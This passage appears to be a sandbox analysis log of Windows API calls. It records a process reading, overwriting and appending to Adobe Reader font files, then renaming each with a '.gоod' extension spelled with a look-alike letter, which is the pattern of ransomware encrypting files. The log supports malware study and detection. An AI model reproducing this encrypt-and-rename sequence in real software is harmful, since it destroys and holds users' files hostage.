0x4d [0098.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.285] GetFileType (hFile=0x7c4) returned 0x1 [0098.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.285] GetFileType (hFile=0x7c4) returned 0x1 [0098.285] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x3f764 [0098.285] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c6cc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x33c6cc8*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0098.286] CloseHandle (hObject=0x7c4) returned 1 [0098.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", lpFilePart=0x0) returned 0x4d [0098.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.287] GetFileType (hFile=0x7c4) returned 0x1 [0098.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.287] GetFileType (hFile=0x7c4) returned 0x1 [0098.287] ReadFile (in: hFile=0x7c4, lpBuffer=0x33c91b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x33c91b0*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0098.315] CloseHandle (hObject=0x7c4) returned 1 [0098.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", lpFilePart=0x0) returned 0x4d [0098.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.315] GetFileType (hFile=0x7c4) returned 0x1 [0098.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.315] GetFileType (hFile=0x7c4) returned 0x1 [0098.315] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c7ef0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x33c7ef0*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0098.363] CloseHandle (hObject=0x7c4) returned 1 [0098.363] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf", lpFilePart=0x0) returned 0x4d [0098.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf.gоod", lpFilePart=0x0) returned 0x52 [0098.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0098.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36d8bb02, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f774)) returned 1 [0098.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0098.364] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-It.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-it.otf.gоod")) returned 1 [0098.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0098.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0098.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), fInfoLevelId=0x0, lpFileInformation=0x3446b58 | out: lpFileInformation=0x3446b58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35610)) returned 1 [0098.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0098.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0098.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.365] GetFileType (hFile=0x7c4) returned 0x1 [0098.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.365] GetFileType (hFile=0x7c4) returned 0x1 [0098.365] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0098.365] ReadFile (in: hFile=0x7c4, lpBuffer=0x3446fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x3446fc0*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0098.528] CloseHandle (hObject=0x7c4) returned 1 [0098.528] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0098.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.529] GetFileType (hFile=0x7c4) returned 0x1 [0098.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.529] GetFileType (hFile=0x7c4) returned 0x1 [0098.529] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x35610 [0098.529] WriteFile (in: hFile=0x7c4, lpBuffer=0x334be10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x334be10*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0098.560] CloseHandle (hObject=0x7c4) returned 1 [0098.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0098.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0098.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0098.561] GetFileType (hFile=0x7c4) returned 0x1 [0098.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0098.561] GetFileType (hFile=0x7c4) returned 0x1 [0098.561] ReadFile (in: hFile=0x7c4, lpBuffer=0x33ca9e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x33ca9e8*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0099.198] CloseHandle (hObject=0x7c4) returned 1 [0099.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0099.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.198] GetFileType (hFile=0x7c4) returned 0x1 [0099.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.198] GetFileType (hFile=0x7c4) returned 0x1 [0099.198] WriteFile (in: hFile=0x7c4, lpBuffer=0x32a1a90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x32a1a90*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0099.198] CloseHandle (hObject=0x7c4) returned 1 [0099.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0099.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf.gоod", lpFilePart=0x0) returned 0x57 [0099.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0099.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3757106c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x35620)) returned 1 [0099.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0099.199] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MinionPro-Regular.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\minionpro-regular.otf.gоod")) returned 1 [0099.199] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0099.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0099.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x34b0418 | out: lpFileInformation=0x34b0418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b64)) returned 1 [0099.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0099.207] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0099.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.208] GetFileType (hFile=0x7c4) returned 0x1 [0099.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.208] GetFileType (hFile=0x7c4) returned 0x1 [0099.208] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0099.208] ReadFile (in: hFile=0x7c4, lpBuffer=0x34b0860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x34b0860*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0099.454] CloseHandle (hObject=0x7c4) returned 1 [0099.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0099.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.455] GetFileType (hFile=0x7c4) returned 0x1 [0099.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.455] GetFileType (hFile=0x7c4) returned 0x1 [0099.455] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x17b64 [0099.455] WriteFile (in: hFile=0x7c4, lpBuffer=0x3741eb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x3741eb0*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0099.461] CloseHandle (hObject=0x7c4) returned 1 [0099.461] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0099.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.461] GetFileType (hFile=0x7c4) returned 0x1 [0099.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.461] GetFileType (hFile=0x7c4) returned 0x1 [0099.461] ReadFile (in: hFile=0x7c4, lpBuffer=0x3747420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x3747420*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0099.494] CloseHandle (hObject=0x7c4) returned 1 [0099.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0099.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.495] GetFileType (hFile=0x7c4) returned 0x1 [0099.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.495] GetFileType (hFile=0x7c4) returned 0x1 [0099.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x3746160*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3746160*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0099.495] CloseHandle (hObject=0x7c4) returned 1 [0099.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf", lpFilePart=0x0) returned 0x4f [0099.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf.gоod", lpFilePart=0x0) returned 0x54 [0099.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0099.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x37845cdd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17b74)) returned 1 [0099.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0099.496] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Bold.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-bold.otf.gоod")) returned 1 [0099.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0099.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0099.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), fInfoLevelId=0x0, lpFileInformation=0x37c9440 | out: lpFileInformation=0x37c9440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x183e8)) returned 1 [0099.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0099.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0099.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.497] GetFileType (hFile=0x7c4) returned 0x1 [0099.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.497] GetFileType (hFile=0x7c4) returned 0x1 [0099.497] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0099.497] ReadFile (in: hFile=0x7c4, lpBuffer=0x37c98a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x37c98a8*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0099.617] CloseHandle (hObject=0x7c4) returned 1 [0099.860] GetFullPathNameW (in: 